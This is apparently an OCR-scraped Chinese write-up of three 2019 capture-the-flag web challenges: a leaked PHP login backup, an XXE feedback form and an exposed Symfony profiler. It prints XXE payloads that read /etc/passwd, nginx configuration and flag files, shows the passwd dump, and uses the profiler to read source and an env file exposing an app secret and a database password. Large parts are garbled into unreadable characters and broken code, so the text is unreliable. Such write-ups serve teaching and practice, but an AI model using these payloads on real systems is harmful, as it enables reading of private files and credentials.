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A Home [¥=Challengesy| I~ Scoreboard %] Login

webl] warmup |

My admin panel
Points: 56

Solves: 126

I think I've found something interesting, but I'm not really a PHP expert. Do you think it's exploitable?

Ihttps://gameserver. zajebistyc. tf/admi

The flag format is: p4{letters_digits_and_special_characters}.
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If you have any questions, you can find our team-members at the IRC channel £ #pdteam @ freenode.

You need to login in order to send flags.

- C @& https://gameserver.zajebistyc.tf/admin/

Index of /admin

Name Last modified Size Description

& Parent Directory, -
@ login.php 2019-03-16 00:17 660
@ login.php.bak  2019-03-15 19:04 658

Apache/2.4.25 (Debian) Server at gameserver.zajebistyc.tf Port 80

REEK RT3 A bak &3 30, —RIBR T &40 3 BARE RS thA HE AR

a login. php. bak 4 |

1 H<?php
2
3 include '../func.php';
4 include '../config.php's
5
6 [if (!S_COOKIE['otadmin'l) {
7 exit ("Not authenticated.\n"):
8 -}
9
10 Hif (!preg_match('/"{"hash": [0-9A-Z\"]+}5/', $_COOKIE['otadmin'])) ({
11 echo "COOKIE TAMPERING xD IM A SECURITY EXPERT\n":
12 exit():
13 1}
14
15 $session_data = json_decode ($_COOKIE['otadmin'], true):;
16
17 if ($session _data === NULL) { echo "COOKIE TAMPERING xD IM A SECURITY EXPERT\n"; exit(): }
18
19 Hif ($session_data['hash'] != strtoupper (MD5($5cfg_pass))) {
20 echo ("I CAN EVEN GIVE YOU A HINT XD \n"):
21
22 for ($i = 0; 1 < strlen(MD5('xDdddddd')): i++) {
23 echo (ord (MD5 (scfg_pass) [$1i]) & 0x=C0);
24 }
25
26 exit("\n");
27 H
28
29 display_admin() s
30
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—. Securinets CTF—Feedback (Ef#) :

BT R T

C & https://web2.ctfsecurinets.com & w« O

SEND US A FEEDBACK

<] SEND

FREMA—ELARTEE M LLRE A

C @ https://web2.ctfsecurinets.com & % B

SEND US A FEEDBACK

root

123456@qq.com



Thanks For you Feedback root

< SEND

BREBA 2R, PAERHR:

[Target TProxy TSpider TScanner Tlntruder 1 Repeater [Sequencer TDecoder TComparer TExtender Tiject options TUser options TAIerts 1

Go Cancel <|v > |* Target: https:/iweb2.ctfsecurinets.com | & | 7

Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | XML

POST /feed.php HTTP/1.1 A HTTP/1.1 200 OK A
Host: web2.ctfsecurinets.com 1 Server: nginx/1.10.3 (Ubuntu) 8
Connection: close Date: Wed, 27 Mar 2019 13:08:06 GMT
Cache-Control: max-age=0 Content-Type: text/html; charset=UTF-8
Upgrade-Insecure-Requests: 1 Connection: close
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOWG64) AppleWebKit/537.36 (KHTML, like Gecko) Content-Length: 35
Chrome/72.0.3626.121 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 <h4>Thanks For you Feedback </h4>

Referer: https://www.ctfsecurinets.com/challenges

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: _ga=GA1.2.177817542.1553381797; _gid=GA1.2.1864850964.1553663582
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Burp Intruder Repeater Window Help

[Talget TProxy TSpider TScanner Tlntruder ] Repeater ]’Sequencer TDecoder TComparer TExtender TProject options TUser options TAIerts ]

|1 x | ...
Go Cancel <|* >|r Target: https://web2.ctfsecurinets.com | & ?

Request Response
Raw | Params | Headers | Hex | XML Raw | Headers | Hex | XML

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW®64) AppleWebKit/537.36 (KHTML, like Gecko) A <h4>Thanks For you Feedback root:x:0:0:root:/root:/bin/bash A
Chrome/72.0.3626.121 Safari/537.36 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
Accept: text/html, application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 bin:x:2:2:bin:/bin:/usr/sbin/nologin
Referer: https://www.ctfsecurinets.com/challenges sys:x:3:3:sys:/dev:/usr/shin/nologin
Accept-Encoding: gzip, deflate sync:x:4:65534:sync:/bin:/bin/sync
Accept-Language: zh-CN,zh;q=0.9 games:x:5:60:games:/usr/games:/usr/sbin/nologin
Cookie: _ga=GA1.2.177817542.15653381797; _gid=GA1.2.2000890862.1553864751 man: 12:man:/var/cache/man:/usr/shin/nologin

Content-Length: 239 Ip:x:7:7:Ip:/var/spool/lpd:/usr/shin/nologin
Content-Type: appilication/xml mail mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin

<?xml version="1.0" encoding="UTF-8"?> uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin

<IDOCTYPE foo [ <!IELEMENT foo ANY ><IENTITY xxe SYSTEM "file:///etc/passwd" >]> proxy:x:13:13:proxy:/bin:/usr/shin/nologin

<feedback> www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
<author>&xxe;</author> backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
<email>123456@qq.com</email> list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
<content>flag</content> irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin

</feedback> gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin

nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/bin/false
ﬁ mysql:x:101:101:MySQL Server,,,:/nonexistent:/bin/false v




FTER—F, BEREE, TEABELERT. BETREWHBEAAEZERE T Ngnix, 2853 2B E SO
K/etc/nginx/sites-available/default# 4%, 7E B & 3K Froot:

Burp Intruder Repeater Window Help

[Target TProxy TSpider TScanner Tlntruder ] Repeater ISequencer TDecoder TComparer TExtender TProject options TUser options TAIerts ]

Go Cancel <|v >\ Target: https://web2.ctfsecurinets.com | # L

Request Response
Raw | Params | Headers | Hex | XML Raw | Headers | Hex | XML

POST /feed.php HTTP/1.1 K # See: https://bugs.debian.org/773332
Host: web2.ctfsecurinets.com #
Connection: close # Read up on ssl_ciphers to ensure a secure configuration.
Cache-Control: max-age=0 # See: https://bugs.debian.org/765782
Upgrade-Insecure-Requests: 1 #
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) # Self signed certs generated by the ssl-cert package
Chrome/72.0.3626.121 Safari/537.36 # Don't use them in a production server!
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 #
Referer: https://www.ctfsecurinets.com/challenges | # include snippets/snakeoil.conf;
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9 root /var/www/html/epreuve;
Cookie: _ga=GA1.2.177817542.1553381797; _gid=GA1.2.2000890862.1553864751
Content-Length: 262 # Add index.php to the list if you are using PHP
Content-Type: appilication/xml index index.php index.html index.htm index.nginx-debian.html;
<?xml version="1.0" encoding="UTF-8"7?> server_name _;
<IDOCTYPE foo [ <IELEMENT foo ANY ><IENTITY xxe SYSTEM
"file:/l/etclnginxlsi(es—availableldefaul‘]" >]> location / {
<feedback> # First attempt to serve request as file, then

<author>&xxe;</author> v # as directory, then fall back to displaying a 404.

R G B " file://Ivariwww/html/epreuve/flag"75 Flflag:

Burp Intruder Repeater Window Help

[Target TProxy TSpider TScanner Tlntruder IRepeater rSequencer TDecoder TComparer TExtender TPruject options TUser options TAIerts ]

Go Cancel <|r > Target: https://web2.ctfsecurinets.com | & L

Request Response
Raw | Params | Headers | Hex | XML Raw | Headers | Hex | XML

POST /feed.php HTTP/1.1 K HTTP/1.1 200 OK
Host: web2.ctfsecurinets.com Server: nginx/1.10.3 (Ubuntu)
Connection: close Date: Sat, 30 Mar 2019 07:44:03 GMT
Cache-Control: max-age=0 Content-Type: text/html; charset=UTF-8
Upgrade-Insecure-Requests: 1 Connection: close
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Content-Length: 67
Chrome/72.0.3626.121 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,"/*;q=0.8 <h4>Thanks For you Feedback Securinets{Xxe_xXE_@LI_Th3_W@Y}
Referer: https://www.ctfsecurinets.com/challenges L </hd>

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: _ga=GA1.2.177817542.1553381797; _gid=GA1.2.2000890862.1553864751
Content-Length: 254

Content-Type: appilication/xml

<?xml version="1.0" encoding="UTF-8"?>
<IDOCTYPE foo [ <!ELEMENT foo ANY ><IENTITY xxe SYSTEM
"file://fvar/www/html/epreuve/flag" >]>
<feedback>
<author>&xxe;</author> v
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MR AH —Fhpayload: file:///proc/selficwd/flag, B 4w T/EBF, ITHKIEHR AT LIE Bflag.
—EXXE¥ K} : hitps://mww.freebuf.com/column/156863.htmi
https://iwww.freebuf.com/column/181064.html

=. Securinets CTF—Custom Location (writeup) :

ToT ek

& > C @& https://web0O.ctfsecurinets.com

Hello Hackers!


https://www.freebuf.com/column/156863.html
https://www.freebuf.com/column/181064.html

B aken, BRI A lag /G, REHRTEHA—FT

< > C @& https://web0.ctfsecurinets.com/flag.txt B

Logs [l Stack Traces 2

NotFoundHttpException
in vendor/symfony/http-kernel/EventListener/RouterListener.php (line 139)
in vendor/symfony/event-dispatcher/Debug/WrappedListener.php -> onKernelRequest (line 115)
in vendor/symfony/event-dispatcher/EventDispatcher.php->__invoke (line 212)
in vendor/symfony/event-dispatcher/EventDispatcher.php -> doDispatch (line 44)
in vendor/symfony/event-dispatcher/Debug/TraceableEventDispatcher.php-> dispatch (line 145)
in vendor/symfony/http-kernel/HttpKernel.php -> dispatch (line 126)
in vendor/symfony/http-kernel/HttpKernel.php -> handleRaw (line 67)
in vendor/symfony/http-kernel/Kernel.php -> handle (line 198)

Kernel -> handle (object(Request))
in public/index.php (line 27)

22. Request::setTrustedHosts([$trustedHosts]);

2 $kernel = new Kernel($_SERVER['APP_ENV'], (bool) $_SERVER['APP_DEBUG']);
26. $request = Request::createFromGlobals();

27. $response = $kernel->handle($request);

T FF B R Hpublic/index.php:

&« C' @ https://web0.ctfsecurinets.com/ profiler/open?file=public/index.php&line=27#line27 & % O
public/index.php line 27 Open in your IDE?
<?php

use App\Kernel
use Symfony\Component\Debug\Debug:
use Symfony\Component\HttpFoundation\Request;

require dirname(_DIR_ ).’ /config/bootstrap.php’ ;

if (8_SERVER[’ APP_DEBUG ])
umask (0000)

Debug: :enable()
if (StrustedProxies = $_SERVER[ TRUSTED_PROXIES'] ?? $_ENV[ TRUSTED_PROXIES'] ?? false) {
Request: :setTrustedProxies (explode(’,’, $trustedProxies), Request::HEADER X_FORWARDED ALL ~ Request::HEADER_X_FORWARDED_HOST)

Request::setTrustedProxies ([ 127.0.0.1/8", ::1", '172.17.0.0/16",7192.0.0.1°, 710.0.0.0/8'], Request::HEADER_X_FORWARDED_ ALL)

if (StrustedHosts = $_SERVER[ TRUSTED_HOSTS'] 22 $_ENV[' TRUSTED_HOSTS'] 9? false) {
Request: :setTrustedHosts ([$trustedHosts]) :

$kernel = new Kernel ($_SERVER['APP_ENV'], (bool) $_SERVER[’APP_DEBUG’ ]);



JIrequest =  KequestT:Iicreaterromuliopalst) ;
$response = $kernel-rhandle($request)
$response—>send () ;

B, BAREAMEIXE/ARY, {HRE"configlbootstrap.php"MiZA S, BT —T, RREEE:

& C @ https://web0.ctfsecurinets.com/_profiler/open?file=/config/bootstrap.php B &
Iconfig/bootstrap.php Open in
<?php

use Symfony\Component'‘\Dotenv\Dotenv;

require dirname(_DIR_ ).’ /vendor/autoload. php’ :

if (is_array($env = @include dirname(_DIR_ ). /. env.local.php’))
$_SERVER += $env:
$_ENV += Senv;

elseif (!class_exists(Dotenv::class))
throw new RuntimeException('Please run “composer require symfony/dotenv” to load the “.env” files configuring the application.’);

else
(new Dotenv())—>loadEnv (dirname (_ DIR_ ). /secret_ctf_location/env’)
$_SERVER['APP_ENV'] = $_ENV['APP_ENV'] = ($_SERVER[’APP_ENV'] 2? S$_ENV[APP.ENV'] 22 null) 2: dev’
$_SERVER[ APP_DEBUG' ] = $_SERVER['APP_DEBUG’ ] ?? $_ENV['APP_DEBUG'] ?? ’‘prod !== $_SERVER[' APP_ENV']
$_SERVER[’ APP_DEBUG’'] = $_ENV['APP_DEBUG'] = (int) $_SERVER[' APP_DEBUG’ ] filter_var ($_SERVER[ APP_DEBUG’ ], FILTER_VALIDATE_BOOLEAN) 2 '1" : 'O

[F3, #FF"/vendor/autoload.php":

< C' & https://web0.ctfsecurinets.com/ profiler/open?file=/vendor/autoload.php
/vendor/autoload.php

{?php

require once _ DIR . ’ /composer/autoload real.php’

return ComposerAutoloaderInit5f99105e7b6d65ddaf60feddd3733abc: :getLoader () ;

HEBET, RERSVNES, REL. FEBESANSH, FEE—ZE, 7E"/config/bootstrap.php" F, HKEIT —
A"Isecret_ctf_locationfenv', THEE, XIRE T :

secret_ctf_location Open in your IDE?

E88>  symfony/framework-bundle #8#

Real environment variables win over .env files.
DO NOT DEFINE PRODUCTION SECRETS IN THIS FILE NOR IN ANY OTHER COMMITTED FILES

Run “composer dump-env prod” to compile .env files for production use (requires symfony/flex »>=1.2).
https://symfony. com/doc/current/best_practices/configuration. html#infrastructure-related-configuration



17. APP_ENV=dev

18. APP_SECRET=44705a2f4fc85d70df5403ac8c7649fd

19. #TRUSTED_PROXIES=127.0. 0.1, 127.0.0. 2

20. #TRUSTED_HOSTS=""localhost |example\. com$’

21. ###<  symfony/framework-bundle ####

22.

23. ###> doctrine/doctrine-bundle ###

24.% Format described at http://docs. doctrine-project. org/projects/doctrine—dbal/en/latest/reference/configuration. html#iconnecting-using-a—url
25.# For an SQLite database, use: “sqlite:///%kernel.project_dir%/var/data.db”

26. 4% Configure vyour db driver and server version in config/packages/doctrine. yaml

27. DATABASE_URL=mysql://symfony_admin:Securinets {D4taB4se _P4sSwORd My5ql_St0L3n}@127. 0. 0. 1:3306/symfony_task
28. ##4#<  doctrine/doctrine-bundle ###

29.

30. ###> symfony/swiftmailer-bundle ###

31.# For Gmail as a transport, use: “gmail://username:password@localhost”

32.# For a generic SMIP server, use: “smtp://localhost:25?encryption=kauth_mode="

33.# Delivery is disabled by default via “null://localhost”

34. MAILER_URL=null://localhost

35. #f##<  symfony/swiftmailer-bundle ###
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Flag is somewhere here

KETR, BREFEEEERN, FREFIERET, lagEZE:
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Flag ®7m©: | <Fé> v

FE & ~

BlwS V3

Bl=210=] 00fb9f401153a2...

[BEsza1PS sha256RSA

LDEErREEZ sha256

Bz challenge@secur...

EE%ERM 2019538218 5...

=23 2020538208 5...

BT RSA (2048 Bits) o

E = challenge@securinets.com
CN = ctfsecurinets.com
O = Securinets{HiDDeN_D@tA In_S3IF_S3iGnEd_CeRtiflCates}

L = Tunis
S = Tunisia
C=TN
SRIERIE(E)... ERBHHC)...
e
h. B4

1352, H% B KEMIMwriteup (github or ctfime ) RIARR, XEKEH T,
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